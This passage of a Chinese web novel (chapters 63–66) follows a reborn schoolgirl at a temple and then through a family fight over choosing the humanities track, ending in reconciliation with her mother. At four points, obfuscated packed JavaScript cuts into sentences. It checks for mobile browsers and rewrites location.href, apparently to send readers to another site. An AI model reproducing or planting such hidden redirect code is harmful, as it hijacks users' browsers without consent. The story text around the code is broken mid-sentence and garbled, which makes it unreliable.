“你怎么跟被吸了精气一样的。”于落落看着魂不守舍的女孩,挑眉笑道,“什么妖精连寺庙都敢进了。” “我啊。”季知节反手指着自己幽幽道,“我就是那个活了两辈子的妖怪。” “妖怪也信佛吗?”张镜戳了戳季知节的衣服,满含笑意。 “谁让我发财我就信谁。”季知节叹了口气,像是想到了什么,补充道,“不过网络小说我是绝对不会再信了。” “为什么?小说很有道理啊!!”像是戳到了什么关键词,周博承跳起来反驳道。 季知节目露怜悯,看着这个单纯的男生,语气沧桑:“佛曰,不可说。” “快点快点,我们拜财神爷去!一会儿业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910203|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务办理要排队了!” 于落落才不管佛说不说,拉着张镜就要往财神爷的殿里走。 财神庙外有个巨大的乌龟石像,乌龟的头顶被摸得锃光瓦亮,似乎是为了不让游客继续动手动脚,在周边围了一圈小栏杆,确实是有效隔绝了的香客的手,但是不知何时起,开始流行起把硬币往乌龟背上、嘴里扔,扔到嘴里发大财,扔到背上发小财的说法逐渐流行,栏杆隔绝开了乌龟和人,却没有隔开人们想要发财的心。 “要扔一个吗?” 沈瑜看着目光流连在乌龟身上的女孩,从口袋摸出一枚硬币,挑眉问道。 “……”季知节看着躺在少年手心的硬币,眨了两下眼。 糟糕,心动了。 “你身上怎么会有现金啊?” 电子支付普及的现在,一个手机就能行走天下,季知节觉得自己已经很久没有看见过现金了。 “存钱罐里扣的,出门之前想起来这边好像能许愿,我就带了一点。” “太周到了!”季知节感叹道,“不愧是你。” 沈瑜笑纳了女孩的夸奖,拇指和食指捏起硬币,示意女孩摊开掌心。 落入掌心的银白色硬币并不冰冷,反而带着些微的暖意,季知节条件反射地握住硬币。 “走吧。” 沈瑜指着稍微空出来的地方,带着女孩就往里走。 空出来的位置并不算好,侧面对着乌龟,张开的嘴巴在侧边看着有些难以把握,不时有硬币从龟壳上、嘴巴里滑出,砸到地上发出一声脆响。 “试试看吗?” 沈瑜看着有些犹豫的女孩,不由俯下身子,轻声鼓励道。 “扔哪儿啊?”季知节看着明显简单一点的龟背,“我有点想发大财来着的。” 被女孩直白的话语逗笑,为了方便说话而弯下的身子让笑声更轻易地传达到了女孩的耳朵,季知节克制着想要揉耳朵的冲动,轻轻嘟囔道:“还不允许人说实话了吗?” “当然可以。”沈瑜看着女孩的两颗丸子头有些手痒,轻轻摩挲了一下指尖,男孩拍了拍口袋,硬币在口袋里丁零当啷地想,“不行我们多试试。” “才不要,再来几次就是破财了!”季知节撇了撇嘴,小心翼翼地对准乌龟的嘴巴,心里紧张地直念阿弥陀佛。 硬币在空中滚了几圈,在季知节的屏息以待中撞上了乌龟漏出的牙齿。 “咕咚。” 季知节做了个吞咽的动作。 硬币在碰到牙齿之后翻了个身,稳稳当当地落在乌龟的嘴巴里。 “!!”季知节瞪大了双眼,猛的向后一转,脚下似乎又踩到了什么东西,也依旧没管,只是张大了嘴巴指着乌龟一阵激动。 “看见了看见了!” 沈瑜鼓着掌,赞叹道:“季知节同学今年要发大财了。” “一般一般啦。”季知节叉着腰,鼻子几乎要飞出天际,脸上是一派得意之色。 “而且也多亏了你的硬币啊,我发财之后不会忘记你的。”季知节抬手就想拍一拍沈瑜的肩膀,客观存在的身高差让这一行为显得有些滑稽,季知节不动声色地轻踮脚尖,装作没看见沈瑜不知不觉弯下的一点腰,语气庆幸道,“感谢你让我发财。” “那看在这枚硬币以及你踩了我两脚的份上,你要信我吗?” 沈瑜给女孩展示着鞋上的脚印,半真半假的调侃道。 少年的话有些许的无厘头,但季知节还是很快就想起了不久前说过的话。 ——“谁让我发财我就信谁。” 女孩盯着沈瑜左脚鞋面上的两个脚印,忽然笑了一声。 “笨蛋。” 季知节高高抬起左脚,作势要狠狠踩下去,最后却轻轻落在了男孩的右脚鞋面上,一丝脚印也无,不过是轻轻踢了一下男孩的鞋子。 我不是一直都相信着吗? 63. 第 63 章 元旦是第一学期最后的狂欢,其实也不能这么说,调休制度的发明让额外放过的假都补了回来,周二没上的课会在周六出现,在卷自己这方面,人总是不遗余力的。 第三次月考、期末考,有些人成绩起起伏伏,有些人成绩稳如直线,也有人成绩一直向前推进。 但因为成绩绽放的笑容和哭丧着的面孔都将成为昨日之事,把握当下才是真正的关键。 短暂的寒假和堆成山一样的寒假作业让过年的气氛都减弱了不少,立志不要“一支笔、一个晚上、一个奇迹”的季知节只不过在放假第一天懈怠了一天,之后就开始严格按照制定的计划开始学习。 虽然计划很容易被父母打断,时不时会有扫个地、擦个桌子、买个菜、洗个碗的支线任务等待完成。 众所周知,父母越让人去做什么,孩子的叛逆心理就愈加严重,但基于季知节深刻了解反抗的下场,所以女孩一般都会选择骂骂咧咧地做完,当然,会挑父母不在家的时候骂。 季红卫和柳明霞基本会忙到腊月二十左右,停工基于就开始马不停蹄地准备过年的事情,大扫除、采购…… 匆匆过完小年,就要着手准备除夕以及季知节的生日。 没错,季知节刚好出生于腊月三十,也正是因为日子的特殊,所以季知节从来不过阳历生日,而是哪天除夕就哪天生日。 虽然算虚岁的时候会比较吃亏,但是人要懂得变通,季知节从来不说自己虚岁,主打一个怎么有利怎么算。 即使平时再怎么不喜欢发朋友圈,双重buff叠满的除夕季知节还是拍下了蛋糕和年夜饭,在一片爆竹声中排版发送。 沙发上父母就着春晚的背景音聊着天,清点着要去拜年的亲戚和礼品,季知节懒散地倒在沙发上刷着手机。 或许是除夕夜大家都在刷手机,不一会儿就有了许多红点点提示,还不断有人私聊。 于落落已经在三个人的群聊中刷起了屏,话里话外都在气愤。 于落落:【生日快乐!!@季知节】 于落落:【为什么不提前告诉我们!!】 于落落:【除夕也快乐!】 张镜:【生日快乐!】 张镜:【我记住了,明年我要第一个祝你生日快乐!】 于落落:【我才要第一个!】 季知节噗嗤一笑,翻了个身回复了消息。 季知节:【谢谢!你们也除夕快乐!】 季知节:【那好哦,明年看看到底谁是第一个!】 倒不是忘记提前把生日告诉她们,而是真的忘记了她们还不知道她的生日,等想起来的时候,已经到了腊月三十了,再说就感觉有点奇怪了。 毕竟三个人在这方面的仪式感很足,哪怕学生时期没有赚钱,也会送一点小礼物,等经济独立之后,更是相当舍得,比如和张镜合资买的那个镜头。 季知节在脑海中翻找着记忆,思索着张镜于落落是否有提到过自己的生日,可两辈子的记忆混杂在一起,她们的生日她记的比谁都清楚,于是索性走一步看一步,等到了那天再说。 发来祝福的不止是两位好友,季知节看着鲜红的提示,点进了熟悉的头像。 沈瑜:【生日快乐!!】 沈瑜:【恭喜你又长大了一岁!】 再往上是零点时发来的除夕问候已经季知节回复的表情包。 季知节:【谢谢!】 沈瑜:【我姐姐说以后你的生日蛋糕她承包了!】 季知节:【!!哇,好诶,我下次一定找姐姐订!】 沈瑜:【我姐姐表示她很开心!】 一个接一个的感叹号也不止在感叹些什么,但偏偏让人看得开心,甚至打从心底笑了出来,趴在沙发的女孩晃荡着小腿,乐滋滋地挨个批阅“奏折”。 过了新年时间就又按下了加速键,寒假一晃而过,天气还没转暖,就又要背着书包在天还蒙蒙亮时就要出门。 于落落曾说这是起得比鸡早,睡得比狗晚,还得背着十几斤的书包给自己找罪受。 张镜说这是天将降大任于斯人也,必先把我们全都干趴下。 季知节表示问题不大,起码一时半会死不掉,所以我们就都活得随便一点好了。 新学期似乎没什么不同,依旧是同样的从早到晚的学习,写不完的作业和刷不完的题。 但另外对文综理综进行排名的成绩单让所有人深知,在这个学期,会迎来第一次的分离。 于是乎,于落落变得更加黏人,季知节也在思索着要怎样说服父母同意自己学文。 父母总是会觉得理科比文科好,或许不只是父母,而是大部分人的共识,理科就业面广、理科工资高…… 选理科的理由有一千个,不选文科的理由有一万个,文科的存在即是罪,这是大势所趋,也是一种悲哀。 李化腾曾在班会课上客观展示了历年文理科录取分数线,文科本科线令人窒息地高,录取人数又远远不如理科录取人数多,几乎方方面面都在劝导着孩子们选择理科。 “这应该是你们第一次接触到一个选择能直观决定你们今后的人生方向,我给你们看这些也并非一味地希望你们都去学理,只是想给你们做一个参考。” “文理科的的确确存在着一些区别,理科在某些方面会为你们提供便利,例如高考之后的选择专业,但文理科没有地位的高低之分。” “我给你们展示的不过是冰山一角,我也希望你们能多去思考一下今后,以及多去了解一下文理科之间的区别。” “或许你们会听到学理比学文好这样的话,请你们都当做没听见,听从自己的内心,客观的评价自己,然后再作出选择,离我们正式分科还有几个月可以考虑。” “不要着急给自己设限,也不要去预支未来的烦恼,但如果下定了决心,那就不遗余力地去努力,你们都是我最骄傲的学生。” 李化腾如此鼓舞道。 “你妈妈会觉得理科比较好吗?” 季知节记得自己这样问过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922000|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张镜。 “严老师自己就学的文,她只说让我自己好好考虑,学文学理都可以。” 可不是每个家长都像这般“开明”,季知节在一次晚饭时间试探着提起分科的事情,季红卫立刻表示当然是学理。 纵使季知节说不想学理,也只会被当做小孩子的意气用事。 “学理好找工作,当医生就要学理啊,我又不会害你。” 父母善于把一切行为套上爱的名义将之合理化,可却不愿意仔细听一听孩子的声音。 “都差不多,我爸妈也想让我学理,说什么我理科成绩比文科好,不学理可惜了。” 沈瑜无奈苦笑,“但其实我文理科成绩差不了太多,我自己是想学文的,也在努力说服我妈中。” 虽然说得轻描淡写,但是事实要严峻得多,在无法进行艺考培训的情况下,沈瑜不能考音乐学院,只能选择综合类大学,且院校一定不能太差,否则有关音乐的梦想将更加遥遥无期。 想要得到自由必将先让渡出一部分权利,沈瑜早早就懂得了这个道理。 “我答应我爸妈学文我也会考上一个好大学,也会在大学期间把各种证书考一考,起码让他们放心一点。” “虽然我知道他们是为了我好,但是这份爱还是有点感觉太过于沉重了一点。” 沈瑜仰头叹息道。 季知节有点不太记得沈瑜最后去了哪所大学了,只知道他于夏天的一档选秀综艺中横空出世,自此开始了辉煌的事业之旅。 沈瑜及其团队很少拿大学作为宣传的重点,更多地是注重于音乐作品本身。 也或许是因为太过清楚自由来之不易,沈瑜用心浇灌每一个作品,每一首歌都能引起一部分人的共鸣。 虽然不像沈瑜那样清楚自己未来的梦想,但季知节清楚自己当下想做的事情。 女孩翻出了从高一入学开始到至今的成绩单,详细地计算出了每一次考试文综理综的分数,甚至还贴上了部分排名。 在分科表下来之前,季知节一直在搜索查找着文科的优势所在,并将其整理归纳。 “如果单凭我想要学文,我喜欢文科无法说服我爸妈,那我就以他们的方式说服他们。” 季知节指着老师、律师、考公、考编等选择,笑得狡黠。 “我觉得应该没有哪个中国家长能拒绝公务员铁饭碗的诱惑吧,不过考不考就是到时候再说了,如果那个时候我已经找到我想做的事情了,那我就去做我想做的。” “如果那个时候我还没想好的话,公务员没准还是我最好的选择,前提是我考得上。” 张镜于落落齐齐为女孩点了个赞。 “虽然爸爸妈妈总觉得单以喜欢与否来做选择是感情用事,但人本就是感性动物,生活本就痛苦不堪,如果还不能做点喜欢的事情那可就太悲哀了。” “其实单纯的我不喜欢理科就已经是我选择文科的理由了。” 季知节虚心收下了朋友们的夸奖,一脸真诚地笑着说道。 64. 第 64 章 沙发上的茶几上摆着设置好的平板页面,旁边的纸巾盒、遥控器都被移到了一边,只剩一个堆积着烟头的烟灰缸。 “……所以你们看,从以前的成绩看也好,以后的选择也好,我都觉得我选择文科是可行的。” 季红卫不知已经抽了第几根烟,整个客厅的烟味呛的人嗓子疼,季知节压抑着嗓子的痒意,努力用平缓的语气阐述道。 此时的场景莫名很像大学时小组作业的汇报,季知节也不是没做过汇报人,但当汇报对象变成父母时,季知节还是感到了一阵不自在。 无论是挨个把成绩展示给父母看,还是剖析自己的心路历程、详细分析学习的优势与劣势都让人感到羞愧,似乎有一种佯装大人的感觉,这种感觉并来源于依旧稚嫩的身体年龄,而是身为孩子,在父母面前似乎天然是弱势的一方,提出诉求,无论诉求合不合理,都是不应该的事情。 柳明霞看着一脸认真的女儿,刚想开口说什么,就被季红卫的动作打断。 男人将还没有抽完的烟蒂摁灭在烟灰缸中,伸手随意滑动了一下平板中的幻灯片,语气平淡,听出喜怒。 “你做这些做了多久?” 季知节抿了抿嘴唇,有些担忧地看了一眼桌上的平板。平板的型号有些年头了,是之前柳明霞想买来看电视的,但是后来逐渐变成了季知节专用的了。 只是文理文科而已,应该不至于上升到要砸平板的地步吧,季知节内心吐槽。 “成绩单是高中入学开始就开始做的了,至于未来规划什么的,这学期刚开始就开始找了,慢慢填上去的。” “未来规划”几个字几乎是被含糊带过,季知节朝着季红卫解释道。 “首先,你有意识去去做这些事是很好的,有规划,有目标,起码让人知道你不是一门心思只知道念书。”季红卫又点了一根烟,但只夹在指缝,火星慢慢地燃烧着,灰白色的烟灰逐渐成型。 “其实我和你妈妈很开心,虽然你初中成绩也很好,但是自觉性完全没有现在这么高,你到高中之后就像长大了一样,什么都不用让人操心了,学习也是越来越好,虽然经常看你熬夜,但是看到你每次的成绩我们就知道你不是在玩。” 几乎是第一次,季知节听到季红卫如此不加掩饰的夸奖,但男人略显犹豫的神色却让季知节升不起一点喜悦之情,不好的预感逐渐涌上心头。 “学习并不是最终的目的,生活才是。” 似乎是在斟酌着怎样的话语能让女孩更好的接受,季红卫几乎是一字一句地在说着。 “你自己也做了对比图,你的文科却是比你的理科好一点,但是并没有好到非文科不可的地步不是吗?” 男人甚至称得上是和颜悦色,就着季知节一点点做出来的图片劝说着女孩,“但是你要知道,文科的录取有多难,理科的选择又有多广,你那一点点优势完全能用专业选择来抹平不是吗?” “现在哪一门行业不要理科生,我们厂里都不要文科生了,何况别的地方。” 似乎是想到厂里贴出的招牌信息,季红卫叹了口气,“社会不是那么好混的,你只有专业对口强,才能好找工作。” 一句句情真意切的话似乎是一块块石头,卡在了季知节的嗓子,无法吞咽,也无法呼吸。 幻灯片上的认真敲出的每一句话忽然融化了开来,变成了黑色的液体,从屏幕流到茶几上,再落到光滑的地板上,顺着瓷砖的缝隙爬向女孩的方向,拉住女孩的脚踝,顺着裤脚一点点往上,环绕住女孩的脖子,捂住女孩的嘴巴、鼻子,然后,越缠越紧。 季知节几乎有些狼狈地从精心制作的幻灯片上移开目光,本就因为汇报计划而有些不自在的心理更加一团乱麻,似乎在叫嚷着:看吧,压根没用。 女孩半晌才找回自己的声音,几乎是有些木讷地开口:“可是,我理科是花了很多时间、学得很累很累才有这个成绩的。” 季红卫笑了一声,像是在看一个不懂事的孩子:“做什么都很累,没有什么轻松的事情,学习已经是最轻松的事了。” 才不是,学习一点都不轻松。 学习如果轻松的话,那我熬过的那些夜算什么,我写完了那么多习题算什么,我那三本错题集是大风刮来的吗? 我们只不过是没有经历同一种痛苦而已,我尽我最大的努力在体谅你,你又凭什么高高在上地认为我的痛苦不算痛苦。 “可是我不想。” 眼眶里酸涩地像是许久没有被雨水滋润过的土地,但偏偏无法抑制的泪意又在叫嚣着事实恰好相反。 “不想什么?”季红卫像是没听清一般反问了一句,似乎是又想起了什么,很快再开口道:“哦对,你不想当医生对吧,其实也没关系,别的也行,你看你数学不是也还行吗,实在不行念个数学师范,最后当老师,还能考编制,虽然学文也能当老师,但是学文基本上也只能当老师了吧,你学理起码之后反悔还能学别的,” 沙发上的男人还在念念叨叨,季知节深呼一口气,几乎是要把体内的郁气全部吐在外面。 “爸。”女孩开口打断了父亲的唠叨,有些泛红的圆眼盯着满腔想法的男人,脸上挂着比哭还难看的笑意,“我不想学理。” 季红卫眉头一皱,想说的话还没说出口,季知节就径直说了下去。 “我知道没有那么多我想怎么样就怎么样的事情,但你不是我,你只是认为人应该学理,而不是我。哪怕现在你面前坐的是一个你不是认识的人,你的这套说辞都能说得通,你就不能听听我的想法吗?” “我没有那么厉害,我并不觉得学习是一件多么轻松的事情,其中学理科更是这样,比起别人,同样的知识点我就是要多刷几遍,我每天晚上都要到一两点才睡就是因为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932574|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要花那么多时间在理综上,但是这样我也只能堪堪赶上别人一点,明明这么多科目里我的英语一直很好,你就是看不见。” “我用了这么多努力来向你证明我的选择并不是一时冲动,但是你满脑子还是让我学理,是不是你一旦下定决心了我怎么做都不行,为什么我的人生一旦不学理就好像要完蛋了一样,你又怎么能保证我学理之后就能如你所想的一样万事不愁?” 季知节没有理会父亲越来越难看的神色,几乎是一股脑地把所有想说的倒了出来。 “为什么我的人生,我自己不能做决定?” 女孩声音喃喃,几乎是自言自语般说出了最后一句话。 香烟上的火星不知何时燃烧到了最后一点,烫得季红卫条件反射般松开了手,所剩无几的烟蒂掉落到烟灰缸中,轻轻溅起了些许的烟尘。 季红卫来不及去看手指被烫的情况,他目光里震惊中带着一丝恼怒,最后甚至还笑了出来:“什么叫你的人生你要做决定,你现在的人生不过是建立在我给你的基础上,你自己有什么?这个丝毫不切实际的规划吗?我从头到位有哪句话说的不对吗,我哪句话不是为了你好?” “我并没有说你哪句话说的不对,你很多道理都是对的,但那不是我的立场,你是我爸爸,你应该听我说的话才对吧!” “你还知道我是你爸啊?你看看你现在说话的态度,你是在和一个长辈说话吗?” “我……” “行了行了,都别吵了。” 柳明霞一把扯住旁边的季红卫,警告似地看着身旁的男人,用眼神示意他闭嘴,随后爸桌上的平板合上,递给了情绪激动的女孩,安抚道:“知知你先回房,没事的,不吵架昂。” 季知节抽了张纸随意摸了把脸,抬手接过平板,几不可见地点了点头,没再看季红卫一眼,起身回房。 女孩的态度显然又激怒了男人,季红卫涨红了脸,指着季知节的背影就要骂人,柳明霞没好气地瞪着一脸凶相的男人,嘴里骂骂咧咧:“你指什么指,你再对我女儿指一个试试!” “你还敢说,都是你惯的……” 季知节走向房门的脚步一顿,转头就要继续怼回去,就听见柳明霞一改往日对季红卫的态度,拔高了语调:“就是我惯的怎么了,我女儿那么好我怎么就不能惯了……” 季知节牢牢抱住了怀中的平板,像是抱住了最后一丝安全感。 回到房间后,季知节握住门把手关上了房门,把一切喧嚣隔在了外面。 关上门的一瞬间,季知节像是失去了所有的力气一般,顺着门板滑落在地,即使背后就是房门,季知节依旧弓着身子,把头埋在了膝盖上,像个木头人一般一动不动。 细碎的哭声缓缓在房间响起,可哭声偏偏像老旧收音机一般,抽噎得一阵一阵,似乎在强忍着要哭的冲动,但又无法完全忍住。 65. 第 65 章 天不知何时已经暗下来了,小区里亮起星星点点的光,或昏黄、或冷白。季知节透过窗户看着点着灯火的房间,恢复过来的情绪又有些飘散。 这并不是什么高档小区,隔音效果也并没有那么好,偶尔坐在窗边时还能听见不知哪户传来的钢琴声,有时在钢琴声响起来之前会先有一段嚎哭声,想来是哪家小孩不愿意练琴,最终一把鼻涕一把泪的坐在了琴凳上。 每个孩子的烦恼不尽相同,年纪还小时,口袋里的糖被拿走天都会塌,最难的选择也不过是喜欢爸爸还是喜欢妈妈,那是还不知人间疾苦的年纪,也是每个人最贪恋的时光。 口袋里的手机又不知被推送了什么消息,季知节掏出手机看了眼时间,双手撑着膝盖起身,有些晃荡地走到书桌前。 门外的争吵已经逐渐听不见了,中途响起的关门声大概是换到房间去继续吵了。 桌面上摆着的习题和书本明明是那样熟悉,但是一团乱麻似的大脑压根整理不出一根线头,季知节握着手里的笔,几乎是有些绝望。 良久,季知节笑出了声。 “挺好的,又白学了。” 季知节随手抹去眼角溢出的水珠,垂着眼睛喃喃笑道。 无从下手的作业让季知节又想起了刚回到高一时的第一天,同样的无从下手,却没有了同样的努力的决心。 满心欢喜以为能改变的未来其实早就注定,一切努力只不过是翻不起浪花的挣扎而已。 “如果我是神,没准还会感谢一下我演的这出小品吧,平凡生活的一剂调味料。” 季知节叹了口气,强迫自己看着知识点,花费了数分钟才写完一道选择题。 不写作业是不可能的,学还是要上的,不管是文科理科都是要拼了命读的。 女孩一点点用知识点替换掉头脑中的混乱,不期然的居然在习题中找到了宁静。 “大概是疯了。” 不知过了多久,季知节合上了写完的习题,颇有些哭笑不得。 “叩叩叩。” 一个几乎没有在这个家里出现过的声音响了起来,季知节有些茫然地看向了门口,伸出手捏了捏自己的耳朵。 敲门声没有接着响起,一道小心翼翼地询问声传了进来。 “知知,我能进来吗?” 是妈妈。 季知节条件发射地点了点头,随后才想起隔着一扇门,谁也看不见,女孩朝着门口大声回应道。 “……进。” 放大了的声音意外地有些沙哑,季知节看着门把手被按动,有些不自然地站了起来。 “……你怎么想到敲门了。” 季知节看着缓缓打开门,又轻轻关上门的女人,舔了舔有些干涩的嘴唇,略带笨拙地询问道。 柳明霞似乎也有些不自在,眼神四处乱飘,手上还不停扣着还没放开的门把手。 “这不是,你之前一直说,让我进房间之前敲门吗,我刚刚就想起来了。” “……哦。”季知节反手拉住座椅,摸索着坐了下来,附和着柳明霞的话。 小小的房间里弥漫着尴尬的氛围,季知节随手整理了一下桌面的书,眼看着柳明霞还没有开口的打算,实在忍不住开了口:“就,有事吗,我作业还没写完……” 话还没说完,季知节就在内心给了自己一下子。 这话里话外透露着的赶人意味是完全在意料之外的,季知节只是有些不知道该怎么面对妈妈而已。即使知道和自己吵架的是爸爸,但是一意孤行的是自己,引发家庭矛盾的也是自己。 “作业还有很多吗?” 柳明霞走近了一些,看着季知节桌上摆满了的书本,有些担忧地问道,“明天不上课,不然明天写吧。” “没多少了,我想晚上写完,明天还有别的要写。” 季知节耸肩一笑,还有些泛红的眼角和鼻尖在台灯的照射下格外显眼。 柳明霞看着已然长大不少的女儿,心里直发酸。 “你真的很想学文吗?” 女人摸了摸女孩的脑袋,轻声问道。 头上的力度很轻,轻得就像水流划过,莫名让人红了眼眶。 季知节将喉间翻涌的酸意吞下,轻轻点了点头,生怕一开口就是哭腔。 “那我们知知就去做自己想做的吧。” 柳明霞笑着拍了拍女孩的头,言语中是无法比拟的温柔。 季知节猛然抬头,对上了一双含着笑意的眼睛。 “你已经是个大孩子了,我在看到你那么正式地拿着平板和我们一点点说的时候,我就在想啊,你什么时候这么厉害了呢,你已经完全说服我了。” “妈……” 女孩终究是没藏住哭腔,颤抖着喊道。 “其实文科理科对我而言好像没有太大的差别,以前只是听你爸爸说理科好理科好,我就觉得那你去学理好了,毕竟我也希望你的未来好走一点。” 柳明霞抚摸着女儿的长发,眼角的细纹都含着笑意。 “我知道的。” 季知节吸了吸鼻子,努力扯出一抹笑。 我知道你们的出发点都是我,所以我由衷地感谢你们,并且爱着你们,可也正是如此,我才这样难过。 “可是我一直在听你爸爸说,忘记了听你说。” 柳明霞看着笑得比哭还难看的女儿,话语里满是惆怅。 “妈妈不是为了给自己开脱,而是我真的已经习惯了你爸爸说话。” “我和你爸爸结婚十八年了,这十八年来,我们因为各种事情争吵过,但是不可否认的是,你爸爸在一些方面还算比较成功,你奶奶那边,你外婆那边都靠着你爸爸,我也逐渐习惯很多事情都听你爸爸,这是妈妈的失败。” 季知节摇着头,抽噎声不断。 “但是我很高兴我的女儿有自己的想法,而且是从一开始就是。” “我想到你以前买衣服,你爸爸总是说你买的衣服太花哨,不够沉稳,但你从来不管,依旧挑着你喜欢的颜色,还有吃饭的时候,你爸爸说我烧的饭不好吃,你也一直在帮妈妈反驳,你一直都有着自己的想法,可偏偏我现在才意识到。” 柳明霞说着说着也红了眼眶,搭在女孩头上的手都有些颤抖。 “其实你早就说了你不想学理,但我也没有当作一回事,只是当你不懂事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951289|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不懂爸爸妈妈的用心。” “在我骄傲于你摆出那么多功课就是为了向我展示你的决心时,我又忍不住觉得失败,作为你的妈妈,居然要你做到这个地步我才会认真听你说话,我真的……” 柳明霞深深吸了一口气,尾音都发着颤。 “我真的太失败了。” “没有,真的没有。” 过分沉重的评价飘进耳朵,季知节脑子里一片空白,想要反驳却发现想不出反驳的说辞,只能一遍又一遍地重复着没有二字,以期望妈妈能够改变对自己的评价。 “我知道的,你看,你明明和我说了那么久进房间要敲门,这么小的要求我都拖到这个时候才重视。” 柳明霞轻轻拍了拍女孩的背,几乎是哄着说道。 “但是没关系的,妈妈会努力改的,你好好说,妈妈会听的。” 温柔的话语几乎成了最后的导火索,季知节环绕着柳明霞的腰身,像小孩子一般紧紧抱着不松手,哭声从缝隙中飘出。 “没关系的,没关系的。” 女孩抽噎着说道,没关系三个字包含的太多,或许是对母亲行为的释然,也或许是自我的宽慰,但这简单而又沉重的三个字也砸红了柳明霞的眼眶。 “只要你想好了,那就去做,妈妈给你兜底。” “如果后面要签名什么的,找妈妈,爸爸那边妈妈也会去说的,没关系了啊。” “不哭不哭,知知乖。” 柳明霞回抱住女儿,有节奏的轻拍着女孩的脊背,试图让哭泣的女孩停下。 轻哄的话语让人回到了小时候,季知节头依旧埋在妈妈的身上,嗡声嗡气地开口道:“那妈妈你晚上和我睡好不好。” 柳明霞又怎么会不答应女儿这个小小的要求,忙不迭开口:“好好好,晚上我们俩睡,不理你爸了。” “说好了。” 季知节随手用袖子抹了把脸,神色十分认真,当然前提是不去看哭得乱七八糟的脸。 “我们今天都别理他了。” “可以,我们晚饭点外卖,拿到房间来吃。”柳明霞看了眼时间,笑着提议道。 “好!” “那我去收拾一下,你看看想吃什么,一会儿一起点。” 柳明霞看着已经缓过来的女儿,叮嘱道:“记得洗把脸,一会儿脸皱了都。” “嗯嗯。” 还在房间坐着的季红卫当然不知道一会儿的功夫自己就丢了晚饭还没了老婆,看到柳明霞走进房间还没想好怎么开口就看见女人拿着睡衣就要往外走。 “……你去哪?” 季红卫没忍住开口道。 “去知知房间睡。” 柳明霞头也没回冷淡道。 “……”季红卫告诉自己冷静,不过是去陪陪情绪上头的女儿罢了。 “你下午买的菜是不是要烧了,不然会坏吧。” 季红卫摸着有些瘪的肚子,佯装委婉道。 “坏不掉,我放冰箱了,晚饭你自己解决吧,我和知知吃。” 柳明霞当然听出来了季红卫是什么意思,女人转过头好心提醒道。 “……” 66. 第 66 章 当季知节揉着惺忪的睡眼醒过来时,旁边的位置已经空了。 床头柜的手机安静地躺着,季知节按亮屏幕,却发现早已过了闹钟响起的时间点。房间外一片静悄悄,灿烂的阳光透过阳台洒进客厅,整齐挂着的衣服在伸缩杆上受着阳光的烘烤,客厅茶几上的东西也都重新拜访得整整齐齐,像是一切都还没有发生的样子。 身上的睡衣也是昨天刚洗干净换上的,虽然经过了一晚上时间的洗礼,洗衣液的香味已经聊胜于无,但还带着被窝的温度。季知节扯了扯碎花睡衣,攥着手机就倒在了沙发上。因为睡觉而散开的头发在倒下的瞬间就糊了满脸,但季知节丝毫没有用手拨开的意思。 玻璃吊灯在阳光下折射出星星点点的光,女孩盯着墙壁上斑驳的光点发着呆,思绪不知不觉又飘回了昨天晚上。 久违的母女独处时间并没有聊太多关于未来的事情,甚至连文理分科都没有再接着讨论,反而开始回忆起了过去。 柳明霞有一个习惯,每次换手机的时候都会把上个手机的数据原封不动地传送过来,从照片到联系人,甚至各个软件的聊天记录,这也导致每次换手机时,季知节都要花上将近一个小时来帮柳明霞导数据。 季知节每次只管传输,从来不去纠结为什么一个不怎么爱拍照的中年女性会有将近几千张的照片。 季知节在昨晚找到了答案。 相册里除了工作时必须拍的照片和零星几张自己的生活照以外,全部都是季知节的照片。 往近了说,有季知节过生日时闭着眼睛吹蜡烛的照片,往远了说,也有季知节还不到柳明霞腰时的照片。许多照片季知节已经没有什么印象了,可柳明霞如数家珍。 “你这张是你五六岁那年吧,闹着要去动物园,你不知道在哪看见说能骑大象,结果你看见大象就吓哭了,抱着你爸不撒手。” 照片里的小女孩扎着两个丸子头,还坠着粉色的流苏,就是满脸的眼泪实在有些滑稽。 